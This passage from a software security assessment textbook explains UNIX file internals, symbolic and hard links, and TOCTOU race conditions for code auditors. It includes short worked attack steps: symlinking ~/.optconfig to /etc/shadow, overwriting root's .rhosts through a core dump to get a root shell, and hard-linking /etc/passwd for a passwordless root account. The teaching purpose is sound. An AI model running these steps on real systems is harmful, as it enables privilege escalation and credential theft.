When you're auditing code, having a general knowledge of what exists on a typical 

UNIX system is useful because this information can help you brainstorm potential 

attacks. The files covered in the following section are by no means an exhaustive list 

of potentially risky files, but they address some of the more interesting places in the 

file system. 

System Configuration Files 

Configuration files in /etc/ are generally a good target for attackers. Certain daemons, 

such as radius, OpenSSH, VPN daemons, and ntpd, might use shared secrets or 

private keys to encrypt network communication. Attackers who can read the 

configuration files containing these secrets might be able to launch an attack against 

the service or its clients. In general, being able to write to configuration files often 

leads to security exposures, and being able to corrupt or delete them often disables a 

system. The following list describes some commonly targeted files and explains the 

advantages attackers might gain from accessing them: 

 Authentication databases (/etc/passwd, /etc/shadow, /etc/master.passwd, 

/tcb/) The shadow password file on a UNIX system typically contains a hashed 

form of passwords for each user. An unprivileged program being able to read 

the shadow password information can often lead to further compromise. 

Weakly constructed passwords can be discovered through a dictionary attack 

with the use of a password-cracking program, such as Solar Designer's John 

the Ripper tool (www.openwall.com). Unpassworded accounts stick out in the 

shadow file because they are missing a hash. A program that can write to 

these files can typically grant itself root access. Manipulating or corrupting 

these files usually disables a machine until an administrator re-creates them. 

 Host equivalency (/etc/hosts.equiv, .rhosts, .shosts) These files indicate 

which hosts and users can log in to the machine without authenticationthat is, 

which hosts and users are considered to be trusted. Trust relationships are 

sometimes found in internal networks because they make administration and 

scripted tasks simpler. Note that ssh daemons honor these trust 

configurations if they are configured to do so. Attackers who discover these 

trust relationships can attempt to access trusted machines or even launch a 

http://www.openwall.com/
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network-level attack via IP spoofing (masquerading as being from a trusted IP 

address). Attacker who can write to these files can often gain root access by 

forcing the machine to trust them. 

 /etc/ld.preload.so If attackers can write to certain shared libraries, they can 

potentially insert code that multiple programs on the machine run. 

 /etc/nologin, /etc/hosts.allow Creating these files can effectively disable a 

system. 

Personal User Files 

Personal user files might also be of interest to attackers, because there are not only 

sensitive files in a typical user's directory, but also configuration files that are used by 

various applications on the system. This list is a brief summary of some interesting 

personal user files: 

 Shell histories (.sh_history, .ksh_history, .bash_history, .history) Shell 

histories are files containing a log of each command users enter in their 

command shells. Attackers could use these files to observe the behavior of 

other users in an attempt to discover potential attack targets on the system or 

discover other systems users commonly log into. 

 Shell login and logout scripts (.profile, .bashrc, cshrc, .login) These files run 

automatically when users log in or out. Attackers might be able to use these 

files to find potential attack targets on the system, such as programs with 

temporary file race conditions that are run by root at login. Of course, the 

ability to write to these files would represent an imminent threat, because the 

attacker could add arbitrary commands to the file that will be executed when 

the user next logs in. 

 Mail spools Mail for system users is another target that could prove quite 

useful to attackers, as users often have sensitive and confidential information 

in their e-mail, and administrators discuss security issues, such as account 

credentials and existing vulnerabilities. The mail spool directory is often a 

mode 777 sticky directory, which is susceptible to manipulation by 

unprivileged attackers. 

Program Configuration Files and Data 

Program-specific configuration files and data can also be useful to attackers. Reading 

configuration files might enable them to find weaknesses or sensitive information that 

can be used to achieve a higher level of compromise. Modifying file data usually has 

more immediate and drastic consequences, such as gaining privileges of the 

application using the configuration file. The following list describes some 

configuration and data files that would be of interest to an attacker: 

 Web-related files Web applications typically have static configuration files with 

database credentials inline. Any authentication mechanism that's local to the 
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Web server might use static files with password information, such as 

Apache's .htpasswd file. Furthermore, because Web applications are often 

written in scripting languages, the source code might be valuable to attackers. 

Because the source gives them a detailed understanding of how the Web 

application works, they could use it to attempt to find a vulnerability in a Web 

service. Web applications are discussed in Chapters 17(? [????.]), "Web 

Applications," and 18(? [????.]), "Web Technologies." 

 SSH configuration files The secure shell (SSH) program contains configuration 

files and parameters that can be used to compromise other users' accounts if 

they can be read and modified. As noted previously, placing an .shosts file in 

a user's directory allows you to log in as them without any credentials (if 

rhosts configuration options are enabled in the SSH server). Being able to read 

and modify sensitive key files can similarly lead to account compromises. 

 Temporary files Temporary files are usually stored in a public directory such as 

/var/tmp or /tmp, which is usually a sticky directory that's mode 777. 

Log Files 

Logs sometimes contain sensitive information, such as users' passwords if they 

mistakenly enter them at a username prompt. Editing logs allows attackers to cover 

up evidence of any attack behavior. Log files are often in subdirectories of /var, such 

as /var/log. 

Program Files and Libraries 

Being able to write over a program file or library can almost certainly lead to a 

privilege escalation. For example, in a BSD system, the pwdb_mkdb program runs as 

root when users modify their account information entry in the password file. Users 

who can overwrite this binary could run arbitrary code in the context of the root user. 

Similarly, if attackers can write over shared libraries, they can potentially insert code 

that's run by multiple programs across the machine. 

Kernel and Boot Files 

If attackers can write to the kernel file or files used in the booting process, they can 

potentially insert or modify code that's used the next time the machine is rebooted. 

Device Files 

As mentioned, device files look just like regular files available to users on the file 

system, except they access devices rather than regular files. The device files present 

on a UNIX system vary widely depending on the UNIX variant, but some common 

ones are listed here: 
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 Virtual device drivers Denial-of-service conditions can often be caused by 

forcing a program to read a file of infinite size or a file that causes constant 

blocking. On UNIX systems, files such as /dev/zero, /dev/random, and 

/dev/urandom can be used to generate endless amounts of data, which can 

keep a process tied up parsing meaningless information or blocking. 

 Raw memory devices Some systems contain raw memory devices that allow 

reading and writing directly to memory. Usually, a system contains a /dev/mem 

file, which provides access to physical memory available on the system. Being 

able to write to this file would result in a kernel-level compromise. Other 

memory files, such as /dev/kmem, also allow writing to virtual memory 

locations in the kernel. 

 Hardware device drivers Hardware devices often have corresponding device 

files used to access the device in question. For example, a printer device might 

be accessible via /dev/lpX. Accessing hardware devices when a program 

intends to manipulate regular files usually results in the application ceasing to 

function correctly. 

 Terminal devices Users interact with the shell through the use of terminal 

devices (or pseudo-terminal devices). They are usually named /dev/ttyX, 

/dev/ptyX, or something similar. Gaining access to these devices might allow 

attackers to read data from other users' sessions or insert keystrokes in their 

session, thus assuming their privileges. 

Named Pipes 

Providing named pipes instead of regular files could be of interest to attackers, 

particularly for timing-based attacks (discussed in the IPC section in Chapter 10(? 

[????.]), "UNIX II: Processes"). In addition, if an application opens a named pipe, it 

allows the owner of the pipe to deliver the SIGPIPE signal, which could be used to 

perform a signal-based attack. Signals are covered in depth in Chapter 13(? [????.]). 

The Proc File System 

Some UNIX OSs provide other interesting files in /proc that could be leveraged for 

file-based attacks. For example, a daemon running as an unprivileged user has 

permissions to read its own /proc/pid/mem filea virtual file that can be used to read 

and write to the current process's memory. If the daemon is tricked into reading this 

file and outputting the results, it could leak sensitive information to users. Another 

useful file in the proc file system is the kcore file, which could be used to read sensitive 

data in kernel memory. 

 

7.5.6 File Internals 
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When you're studying complex file vulnerabilities, such as race conditions and linking 

attacks, having a basic grasp of UNIX file internals is useful. Naturally, UNIX 

implementations differ quite a bit under the hood, but this explanation takes a 

general approach that should encompass the major features of all implementations. 

This discussion doesn't line up 100% with a particular UNIX implementation, but it 

should cover the concepts that are useful for analyzing file system code. 

File Descriptors 

UNIX provides a consistent, file-based interface that processes can use to work with 

a fairly disparate set of system resources. These resources include files, hardware 

devices, special virtual devices, network sockets, and IPC mechanisms. The 

uniformity of this file-based interface and the means by which it's supported in the 

kernel provide a flexible and interoperable system. For example, the code used to talk 

with a peer over a named pipe could be used to interact with a network socket or 

interact with a program file, and retargeting would involve little to no modification. 

For every process, the UNIX kernel keeps a list of its open files, known as the file 

descriptor table. This table contains pointers to data structures (discussed in more 

detail in Chapter 10(? [????.])) in the kernel that encapsulate these system resources. 

A process generally opens a normal, disk-backed file by calling open() and passing a 

pathname to open. The kernel resolves the pathname into a specific file on the disk 

and then loads the necessary file data structures into memory, reading some 

information from disk. The file is added to the file descriptor table, and the position, 

or index, of the new entry in the file descriptor table is handed back to the process. 

This index is the file descriptor, which serves as a unique numeric token the process 

can use to refer to the file in future system calls. 

Figure 9-3 shows a file descriptor table for a simple daemon. File descriptors 0, 1, and 

2, which correspond to standard input, standard output, and standard error, 

respectively, are backed by the device driver for the /dev/null file, which simply 

discards anything it receives. File descriptor 3 refers to a configuration file the 

program opened, named /etc/config. File descriptor 4 is a TCP network connection to 

the 1.2.3.4 machine's Web server. 

Figure 9-3. Simplified view of a file descriptor table 
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File descriptors are typically closed when a process exits or calls close() on a file 

descriptor. A process can mark certain file descriptors as close-on-exec, which 

means they are automatically closed if the process executes another program. 

Descriptors that aren't marked close-on-exec persist when the new program runs, 

which has some security-related consequences addressed in Chapter 10(? [????.]). 

File descriptors are duplicated automatically when a process uses a fork(), and a 

process can explicitly duplicate them with a dup2() or fcntl() system call. 

Inodes 

The details of how file attributes are stored are up to the file system code, but UNIX 

has a data structure it expects the file system to be able to fill out from its backing 

data store. For each file, UNIX expects an information node (inode) that the file 

system can present. In the more straightforward, classic UNIX file systems, inodes 

are actual data structures existing in physical blocks on the disk. In modern file 

systems, they aren't quite as straightforward, but the kernel still uses the concept of 

an inode to track all information for a file, regardless of how that information is 

ultimately stored. 

So what's in an inode? Inodes have an inode number, which is unique in the file 

system. Every file system mounted on a UNIX machine has a unique device number. 

Therefore, every file on a UNIX system can be uniquely identified by the combination 

of its device number and its inode number. Inodes contain a file type field that can 

indicate the file is an ordinary file, a character device, a block device, a UNIX domain 

socket, a named pipe, or a symbolic link. Inodes also contain the owner ID, group ID, 

and file permission bits for the file as well as the file size in bytes; access, modification, 

and inode timestamps; and the number of links to the file. 

The term "inode" can be confusing, because it refers to two different things: an inode 

data structure stored on a disk and an inode data structure the kernel keeps in 

memory. The inode data structure on the disk contains the aforementioned file 
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attributes as well as pointers to data blocks for the file on the disk. The inode data 

structure in kernel memory contains all the disk inode information as well as 

additional attributes and data and pointers to associated kernel functions for working 

with the file. When the kernel opens a file, it creates an inode data structure and asks 

the underlying file system driver to fill it out. The file system code might read in an 

inode from the disk and fill out the kernel's inode data structure with the retrieved 

information, or it could do something completely different. The important thing is that 

for the kernel, each file is manipulated, tracked, and maintained through an inode. 

Inodes are organized and cached so that the kernel and file system can access them 

quickly. The kernel primarily deals with files using inodes rather than filenames. 

When a process makes a system call that has a pathname argument, the kernel 

resolves the pathname into an inode, and then performs the requested operation on 

the inode. This explanation is a bit oversimplified, but it's enough for the purposes of 

this discussion. Anyway, when a file is opened and stored in the file descriptor table, 

what's placed there is a pointer to a chain of data structures that eventually leads to 

the inode data structure associated with the file. 

Note 

Chapter 10(? [????.]) explains the data structures involved in associating the file 

descriptor table with an inode data structure. These constructs are important for 

understanding how files and file descriptors are shared among processes, but you can 

set them aside for now. 

 

 

Directories 

A directory's contents are simply the list of files the directory contains. Each item in 

the list is called a directory entry, and each entry contains two things: a name and 

an inode number. You might have noticed that the filename isn't stored in the file 

inode, so it's not kept on the file system as a file attribute. This is because filenames 

are only instructions that tell the kernel how to walk through directory entries to 

retrieve an inode number for a file. 

For example, specifying the filename /tmp/testing/test.txt tells the kernel to start 

with the root directory inode, open it, and read the directory entry with the name tmp. 

This information gives the kernel an inode number that corresponds to the tmp 

directory. The kernel opens that inode and reads the entry with the name testing. 

This information gives the kernel an inode number for the testing directory. The 

kernel then opens this inode and reads the directory entry with the name test.txt. 

The inode number the kernel gets is the inode of the file, which is all that the kernel 

needs for operating on the file. 
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Figure 9-4 shows a simple directory hierarchy. Each box represents an inode. The 

directory inodes have a list of directory entries below them, and each ordinary file 

inode contains its file contents below its attributes. The figure shows the following 

simple directory hierarchy: 

fred.txt 

jim/ 

        bob.txt 

 

Figure 9-4. Directories at play 

[View full size image] 

 

 

The leftmost inode is a directory containing the fred.txt file and the jim directory. 

You don't know this directory's name because you have to see its parent directory to 

learn that. It has an inode number of 1000. The jim directory has an inode of 700, and 

you can see that it has only one file, bob.txt. 

If a process has a current directory of the directory in inode 1000, and you call 

open("jim/bob.txt", O_RDWR), the kernel translates the pathname by reading the 

directory entries. First, the directory at inode 1000 is opened, and the directory entry 

for jim is read. The kernel then opens the jim directory at inode 700 and reads the 

directory entry for bob.txt, which is 900. The kernel then opens bob.txt at inode 900, 

loads it into memory, and associates it with an entry in the file descriptor table. 

 

7.5.7 Links 
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UNIX provides two mechanisms for users to link fileshard links and soft links. Hard 

links allow users to create a single file with multiple names that can be located in 

different directories. Symbolic links allow users to create a special file that points to a 

file or directory in a different location. Attackers have used both mechanisms to 

subvert file system interaction code, so you examine them in detail in the following 

sections. 

Symbolic Links 

Symbolic links, also known as symlinks or soft links, allow users to create a file or 

directory that points to another file or directory. For example, an administrator can 

make a symbolic link called /home that points to the /mnt/disks/disk3a/ directory. 

Users could then work with files in their home directories in /home/, and everything 

would be redirected behind the scenes to the disk3a directory. Similarly, a user could 

make a symbolic link named computers in his home directory that points to the system 

file /etc/hosts. If the user opens computers for reading, he is actually opening the 

/etc/hosts file, but it would appear as though the file is in the user's home directory. 

Symbolic links, created with the symlink() system call, are actually special small files 

placed in the file system. Their inodes are marked as a type symbolic link, and their 

actual file contents are a file path. When the kernel is resolving a pathname, if it 

encounters a symbolic link file, it reads in the file path in the symbolic link, follows the 

symlink's file path until it's complete, and then resumes its original path traversal. 

The file path in the symlink can be an arbitrary pathname, as long as it's valid enough 

to get the kernel to a destination. 

Figure 9-5 shows what soft links look like at the directory entry level. In this figure, 

you have two directories. The name of the top directory isn't visible in the diagram, 

but assume it's thatdir. Say you're in the bottom directory, inode 1100, and you open 

the test.txt file. It has the inode 1300, and you can see it's a symbolic link inode. The 

kernel automatically opens the symbolic link file at inode 1300 and reads in the file 

path ../thatdir/fred.txt. The kernel opens ../ and goes back to inode 200. It then 

opens thatdir and enters inode 1000 (the top directory). It looks up fred.txt and 

goes to inode 500, which is the text file. 

Figure 9-5. Symbolic link diagram 

[View full size image] 

images/09ssa05r_alt.jpg


The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 536 

 

 

 

Symlink Syscalls 

Because symbolic links are actually files on the file system, system calls can react to 

their presence in two ways. Some system calls follow symbolic links automatically, 

and others operate on the special symbolic link file. The following calls have 

symlink-aware semantics: 

 If unlink() is provided a file that's a symbolic link, it deletes the symbolic link, 

not the target. 

 If lstat() is provided a file that's a symbolic link, it returns the information 

about the symbolic link, not about its target. 

 If lchown() is provided a file that's a symbolic link, it changes the user and 

group of the symbolic link file, not the target. 

 readlink() is used to read the contents of the symbolic link file specified in its 

argument. 

 If rename() has a from argument that's a symbolic link, the symbolic link file is 

renamed, not its target. If rename() has a to argument that's a symbolic link, 

the symbolic link file is overwritten, not its target. 

Symbolic Link Attacks 
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Symbolic links can be used to coerce privileged programs into opening sensitive files. 

For example, consider a privileged program that reads an optional configuration file 

from a user's home directory. It has the following code: 

void start_processing(char *username) 

{ 

    char *homedir; 

    char tmpbuf[PATH_MAX]; 

    int f; 

    homedir=get_users_homedir(username); 

    if (homedir) 

    { 

        snprintf(tmpbuf, sizeof(tmpbuf), 

            "%s/.optconfig", homedir); 

        if ((f=open(tmpbuf, O_RDONLY))>=0) 

        { 

            parse_opt_file(tmpbuf); 

            close(f); 

        } 

        free(homedir); 

} 

... 

 

This code looks in a user's home directory to see whether that user has a .optconfig 

file. If the file is present, the program opens that file and reads in optional 

configuration entries. You might think this behavior is safe as long as the file-parsing 

capabilities of parse_opt_file() are safe, but this is where link attacks can come into 

play. If attackers issue a command like the following: 

$ ln -s /etc/shadow ~/.optconfig 

 

They would create a symbolic link to the shadow password file in their home directory 

named .optconfig. The privileged program could then be tricked into opening and 

parsing the shadow password file, which could lead to a security vulnerability if it 

exposes secret hash information. 

Some older UNIX variants had a symbolic link problem with their core-dumping 

functionality. In UNIX, if a program crashes, the kernel can write the contents of that 

program's memory to a core file on the file system. This file is useful for debugging 

program crashes. In HPUX, Digital Unix, and probably a few other older systems, the 

kernel follows symbolic links when creating this core file. A normal user could, 

therefore, create a symbolic link to an important file, run a setuid root program, and 
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crash it somehow, and then the kernel would write a memory dump over the 

important file. The attack would look something like this: 

$ export SOMEVAR=" 

+ + 

" 

$ ln -s ~root/.rhosts core 

$ ./runandcrashsuid.sh 

$ rsh 127.0.0.1 -l root /bin/sh -i 

# 

 

The environment variable SOMEVAR contains the string + + on its own line, which would 

end up in the memory dump. The memory dump would replace root's .rhosts file, 

which specifies which hosts and users are allowed to log in as root on the machine 

without authenticating. The remote shell daemon interprets the + + line as indicating 

that any user from any machine is allowed to log in to the host as root. Users would 

then be allowed to start a shell on the machine as root. 

Creation and Symlinks 

The open() system call has an interesting nuance when creating files that end in 

symbolic links. Say you have this empty directory: 

/home/jim/test 

 

Then you add a symbolic link to this directory: 

$ ln -s /tmp/blahblah /home/jim/test/newfile 

 

This command creates a symbolic link at /home/jim/test/newfile that points to 

/tmp/blahblah. For now, assume the /tmp/blahblah file doesn't exist on the file 

system. Now try to create a file with open(), using the following call: 

open("/home/jim/test/newfile", O_RDWR|O_CREAT, 0666); 

 

You're telling open() that it should open a file for reading and writing, creating it if 

necessary from the location /home/jim/test/newfile. That location is a symbolic link 

pointing to /tmp/blahblah. The open() function actually creates a new file in 

/tmp/blahblah! 

This behavior has interesting consequences from a security perspective. Code that 

has file creation semantics when it opens a file can be tricked into creating files 
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anywhere on the file system if you can get a symbolic link in the right place. To 

prevent this behavior, application developers can specify the O_EXCL flag along with 

the O_CREAT flag, which indicates that the open() call must create a unique file (not 

return an already existing file) and prevents open() from dereferencing symbolic links 

in the last component. Another flag to open(), O_NOFOLLOW, also makes sure that open() 

doesn't follow a symbolic link if it's the last component of the specified filename, but 

it can be used when the program allows opening an existing file as long as it isn't a 

symbolic link. 

Note 

The O_NOFOLLOW flag isn't a portable solution that developers can use; it's a FreeBSD 

extension that's now supported by Linux, too (as of version 2.1.126). When you're 

auditing an application that relies on this flag to provide security, remember that 

some target platforms might ignore it. 

 

 

Accidental Creation 

In some situations, the mere creation of a file can be an undesired behavior, even if 

it's not malleable by unprivileged users. If an application uses a fopen() call with a 

writeable mode, it uses open() with an O_CREAT flag, and the kernel creates the 

requested file. Keep this in mind when you see custom-created protections for file 

attacks; developers might inadvertently use an open() that's capable of creating a file 

as part of the initial security check. Either situation could create a file in the file 

system that hampers the system's functionality, such as /etc/nologin. The presence 

of the /etc/nologin file prohibits any non-root users from logging in to the system. 

Similarly, if an empty /etc/hosts.allow file is created, all TCP-wrapped services deny 

incoming connections. 

Attacking Symlink Syscalls 

It's essential to understand that although the unlink(), lstat(), lchown(), readlink(), 

and rename() functions operate on a symbolic link file instead of following it to its 

target file, these functions do follow symbolic links for every path component except 

the last one. To understand this concept, imagine you have the following files in your 

current directory: 

drwx------    2 jm       jm             96 Dec 31 09:06 ./ 

drwx------    3 jm       jm             72 Dec 31 09:05 ../ 

-rw------     1 jm       jm              0 Dec 31 09:06 testfile 

lrwxrwxrwx    1 jm       jm              8 Dec 31 09:06 

 

 testlink -> testfile 
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If you use unlink("testlink"), it should end up deleting the symbolic link file 

testlink instead of the target, testfile. As you can see in the following code, that's 

exactly what happened: 

drwx------    2 jm       jm             72 Dec 31 09:09 ./ 

drwx------    3 jm       jm             72 Dec 31 09:05 ../ 

-rw------     1 jm       jm              0 Dec 31 09:06 testfile 

 

This behavior is what you'd expect from the five system calls listed previously. Now 

take a look at how they do follow symbolic links. Assume you restore the directory to 

the way it was and also add one more symbolic link: 

drwx-------   2 jm       jm            128 Dec 31 09:14 ./ 

drwx------    3 jm       jm             72 Dec 31 09:05 ../ 

lrwxrwxrwx    1 jm       jm              1 Dec 31 09:12 

testdirlink -> ./ 

-rw-------    1 jm       jm              0 Dec 31 09:06 testfile 

lrwxrwxrwx    1 jm       jm              8 Dec 31 09:14 

testlink -> testfile 

 

If you use unlink("testdirlink/testlink"), you end up with the following: 

drwx------    2 jm       jm            104 Dec 31 09:16 ./ 

drwx------    3 jm       jm             72 Dec 31 09:05 ../ 

lrwxrwxrwx    1 jm       jm              1 Dec 31 09:12 testdirlink -> 

./ 

-rw------     1 jm       jm              0 Dec 31 09:06 testfile 

 

What happens is that unlink() follows the symbolic link testdirlink and then deletes 

the symbolic link testlink. The symlink-aware system calls still follow symbolic links; 

however, they don't follow the last component if it's a symbolic link. Attackers can still 

play games with these system calls, but they must use symbolic links in the paths of 

file arguments they provide. 

Hard Links 

Hard links allow users to create multiple filenames on a file system that all refer to 

the same underlying file. For example, on one particular OpenBSD machine, the 

/usr/bin/chfn, /usr/bin/chpass, and /usr/bin/chsh files refer to the same program 

file, located on the disk at inode 24576. This chpass/chfn/chsh program is written so 
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that it looks at what name it runs as and changes its behavior accordingly. This way, 

the same binary works as expected regardless of whether the the user ran it using the 

chpass command, the chfn command, or the chsh command. 

A hard link is created when you add a new directory entry that points to an already 

existing file by using the link() system call. Basically, what you're doing is creating 

multiple directory entries that all point to the same underlying inode. Every time you 

add a new link to an existing inode, that inode's link count goes up. Using the previous 

example, the link count of inode 24576, the chpass/chfn/chsh program file, is three 

because three directory entries reference it. 

Figure 9-6 shows what a hard link looks like in actual directory files. You have two 

directories on the left, one with an inode of 1000 and one with an inode of 1100. The 

top directory has a file named fred.txt that points to inode 500. The bottom directory 

has a file named test.txt that also points to inode 500. You could say that fred.txt 

is a hard link to test.txt, or vice versa, as they both reference the same underlying 

file. 

Figure 9-6. Hard links 
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Inode 500 has a link count attribute of two, meaning two directory entries refer to the 

file. Every time a new hard link is created, the link count is incremented. If a user 

deletes fred.txt or test.txt, the link count is decremented by one. The inode isn't 

released until all relevant names are removed, reducing the link count to zero, and all 

processes have closed any open file descriptors referencing inode 500. 

Hard links appear to be separate files, with separate pathnames, but they refer to the 

same underlying inode. So if a file has multiple hard links, and the permissions or 

ownership IDs change for one of them, all the other hard links reflect those changes. 

Hard links don't work across file systems because a directory entry can't point to an 

inode on an different file system; this limitation makes hard links less flexible on UNIX 

systems that have several mounted partitions. Another limitation is that normal users 

are allowed to create hard links only to files, not to directories, because creating 

infinite loops in the directory tree is quite simple, so you don't want normal users to 

have this capability. Therefore, creating directory hard links is a privilege reserved for 

the superuser. You can create infinite loops with symbolic links, too, but the kernel 

has code to detect whether this has occurred and return an appropriate error. 

Attacks 

From a security perspective, the critical feature of hard links is that you can create 

links to various files without needing any particular privileges, which could lead to 

possible security problems. For example, say you want to write exploits for certain 

setuid binaries on a system, but you're concerned that the administrator might delete 

them. You don't have the permissions necessary to copy them, but you could create 

hard links to those binaries in a directory you have control over. If the administrator 

deletes the binaries later, your hard links still refer to them, and you might still have 

time to construct an attack. 

This technique might also prove useful when you want to prevent a program from 

deleting a file. You could create a hard link to that file that would still be present after 

the program attempts to delete the original file. You don't need any special 

permissions or ownership on that file to create the link, either. 

Another thing to note about hard links: If you create a hard link to a file you don't own 

in a sticky directory, you can't delete the hard link because the sticky semantics 

prevent you from unlinking a file that isn't yours. This might prove useful when 

mounting sophisticated file-based attacks against a privileged application. 

Sensitive Files 

Hard links can be quite useful in launching attacks against privileged processes. They 

are more limited in utility than soft links, but they can come in handy sometimes. 

They are most useful when privileged processes open existing files and modify their 
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content or change their ownership or permission. Take a look at this simple code 

excerpt: 

    fd = open("/home/jm/.conf", O_RDWR); 

    if (fd<0) 

        die("open"); 

    write(fd, userbuf, userlen); 

 

Assume this code runs in a setuid root application with effective root privileges. It 

opens the /home/jm/.conf file, if it exists, and writes some data to it. Assume 

the .conf file is in your home directory and you have total control over it. Assume you 

can control some data that gets written in the call to write(), and your home directory 

is in the same file system as the /etc file system. 

Exploiting this code with a hard link would be quite straightforward. You'd simply do 

something like this: 

$ cd /home/jm 

$ ln /etc/passwd .conf 

$ runprog 

$ su evil 

# 

 

First, you create a hard link so that the .conf file is linked to the /etc/passwd 

authentication file. Then you run the vulnerable program, which opens the file for 

writing as root. It writes out some information you control to the password file, which 

adds a new root account with no password. You then use su to switch to that account 

and claim root access. 

In general, this kind of attack can be useful if the privileged application reads from a 

file without first relinquishing its privileges. If the application opens a file that's really 

a hard link to a critical system file, such as /etc/shadow, you can probably elicit an 

error message that might expose some secret information. 

Remember that permission and ownership changes affect the underlying inode of a 

hard link, so you should also check for code that might alter a privileged file's 

permissions. Take a look at the following code: 

    fd = open("/home/jm/.conf", O_RDWR); 

    if (fd<0) 

        die("open"); 

 

    fchmod(fd, 644); 
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    exit(1); 

 

In this code, the /home/jm/.conf file is opened, and then permissions are set to 644. 

One possible attack is linking the pathname being opened with some other file that 

has tight permissions, such as /etc/shadow. If you create a hard link to /etc/shadow, 

and the code changes its permissions from 0600 to 0644, every user on the system 

could read the authentication database. 

Circumventing Symbolic Link Prevention 

In general, soft link attacks are more flexible and powerful. However, because special 

API calls deal with symbolic links, and symbolic link attacks have been widely 

published, developers are far more likely to prevent symbolic link attacks than hard 

link attacks. 

In general, developers can use the lstat() function to analyze a file and determine 

whether it's a symbolic link. Note that lstat() can't distinguish between a hard link to 

a regular file and a regular file because a hard link is a legitimate directory entry. The 

only clue applications can use to test for hard links is to check the link count resulting 

from a stat(), lstat(), or fstat() function. 

Here's an example of code that's vulnerable to a hard link attack (if it were being run 

in a privileged context): 

    if (lstat(fname, &stb1) != 0) 

        die("file not there"); 

 

    if (!S_ISREG(stbl.st_mode)) 

        die("it's not a regular file - maybe a symlink"); 

 

    fd = open(fname, O_RDONLY); 

 

This code uses the lstat() function to make sure the provided file isn't a symbolic link. 

If it's a symbolic link, it doesn't pass the S_ISREG test (explained in "The stat() Family 

of Functions(? [????.])" later in this chapter). A hard link works just fine, however, 

causing this program to read the contents of whatever fname is hard-linked to. (Note 

that this code is also vulnerable to race conditions, discussed in the next section.) 

7.5.8 Race Conditions 

UNIX applications have to be very careful when interacting with the file system, 

because of the danger of race conditions. Race conditions, in general, are situations 

in which two different parties simultaneously try to operate on the same resource with 
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deleterious consequences. In the context of security flaws, attackers try to 

manipulate the resource out from underneath the victim. For UNIX file system code, 

these issues usually occur when you have a process that gets preempted or enters a 

blocking system call at an inopportune moment. This inopportune moment is typically 

somewhere in the middle of a sensitive multiple-step operation involving file and 

directory manipulation. If another process wins the race and gets scheduled at the 

right time in the middle of this "window of inopportunity," it can often subvert a 

vulnerable nonatomic sequence of file operations and wrest privileges from the 

application. Listing 9-3 shows an example. 

Listing 9-3. Race Condition in access() and open() 

res = access("/tmp/userfile", R_OK); 

if (res!=0) 

    die("access"); 

 

/* ok, we can read from /tmp/userfile */ 

fd = open("/tmp/userfile", O_RDONLY); 

... 

 

This code represents a setuid root program opening the /tmp/userfile file, which can 

be controlled by users. It uses the access() function to make sure users running the 

program have permission to read from the /tmp/userfile file. access() is specially 

designed for setuid programs; it performs the privilege check by using the process's 

real user ID rather than the effective user ID. For a setuid root program, this is 

typically the user that ran the executable. If users don't have permission to read 

/tmp/userfile, the program exits. This call to access() protects the program from 

following a symbolic link at /tmp/userfile and opening a sensitive file or from opening 

a hard link to a sensitive file. 

The problem is that attackers can alter /tmp/userfile after the access() check but 

before opening the file. Figure 9-7 outlines this attack. Say attackers create an 

innocuous regular file named /tmp/userfile. They let the preceding code do its access 

check and come back with a clean result. Then the process gets swapped out, and a 

process controlled by attackers runs. This evil process can unlink /tmp/userfile and 

replace it with a symbolic link to /etc/shadow. When the privileged program resumes, 

it does open("/tmp/userfile", O_RDONLY), which causes it to follow the symbolic link to 

/etc/shadow. The privileged program then reads in the shadow password file, which 

likely leads to an exposure of sensitive information later on. 

Figure 9-7. Program flow for Listing 9-3 
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Auditing Tip 

The access() function usually indicates a race condition because the file it checks can 

often be altered before it's actually used. The stat() function has a similar problem. 

 

 

TOCTOU 

The concept of exploiting the discrepancy between a security check on a resource and 

the use of a resource is known as a time of check to time of use (TOCTOU or 

TOCTTOU) issue. This concept doesn't apply to just file manipulation. Any time that 

the state of a resource can change in between when an access check is done and 

when an action is performed on it creates an opportunity for TOCTOU attacks. If you 

refer to Figure 9-7, you can see the time of check and time of use labeled for clarity. 

It might seem unrealistic that a program could get swapped out at the exact moment 

for attackers to take advantage of this "window of inopportunity." Remember that 

attackers are determined and resourceful, and it's usually safe to bet they can find 

some way to exploit even an improbable vulnerability. In the scenario depicted in 

Figure 9-7, attackers could take action in the background to try to slow down the 

system, such as a network-intensive flood of data or heavy use of the file system. 

They could also send job control signals to the setuid root program that is performing 
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the potentially dangerous file operations to stop and start it constantly in a tight loop. 

Depending on the file system, they might be able to watch for access times on files 

that are being updated or even watch the progress of the setuid program through 

system-specific interfaces. There's plenty of system-specific functionality that can be 

leveraged with some creativity. For example, Linux 2.4 and later has a flag that can 

be used with the fcntl() function, F_NOTIFY, that causes a signal to be delivered to 

your program when certain actions occur in a directory. Several advanced race 

condition exploits for Linux make use of this flag. 

The stat() Family of Functions 

Many of the TOCTOU examples you encounter feature the use of stat() or one of its 

variations. These functions are designed to give the caller extensive information 

about a file. The three primary functions that return this information are stat(), 

lstat(), and fstat(). The stat() function has the following prototype: 

int stat(const char *pathname, struct stat *buf); 

 

The pathname parameter specifies the file to be checked and the buf parameter points 

to a structure that's filled in with file information. lstat() works similarly, except, as 

noted in "Symbolic Links(? [????.])," if pathname is a symbolic link, information is 

returned about the link rather than the link's target. Finally, there is fstat(), which 

takes a file descriptor rather than a pathname. Of these functions, fstat() is the most 

resilient function in terms of race conditions, as it's operating on an previously opened 

file. 

The information returned in the stat structure includes most of the statistics about a 

file that might be useful to developers. Information returned includes, but is not 

limited to, the owner of the file, the owning group of the file, the number of hard links 

to the file, and the type of the file. By examining the type of the file, it is possible to 

use these functions to determine whether a file is really a regular file, a link file, a 

device file, and so on. The following macros are defined for testing the file type: 

 S_ISREG tests if the file is a regular file. 

 S_ISDIR tests if the file is a directory. 

 S_ISCHR tests if the file is a character device. 

 S_ISBLK tests if the file is a block device. 

 S_ISFIFO tests if the file is a named pipe. 

 S_ISLNK tests if the file is a symbolic link. 

 S_ISSOCK tests if the file is a socket. 

As you have probably guessed, a standard method for protecting against link-based 

attacks is to use lstat() on a requested filename and either explicitly check if it's a 

link, or check if it's a regular file and fail if it is not. 
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Say a privileged program wants to work with a file but wants to make sure it isn't 

going to be tricked into following a symbolic link. Listing 9-4 shows some code from 

the Kerberos 4 library that's used by a kerberized login daemon. 

Listing 9-4. Race Condition from Kerberos 4 in lstat() and open() 

    errno = 0; 

    if (lstat(file, &statb) < 0) 

       goto out; 

 

    if (!(statb.st_mode & S_IFREG) 

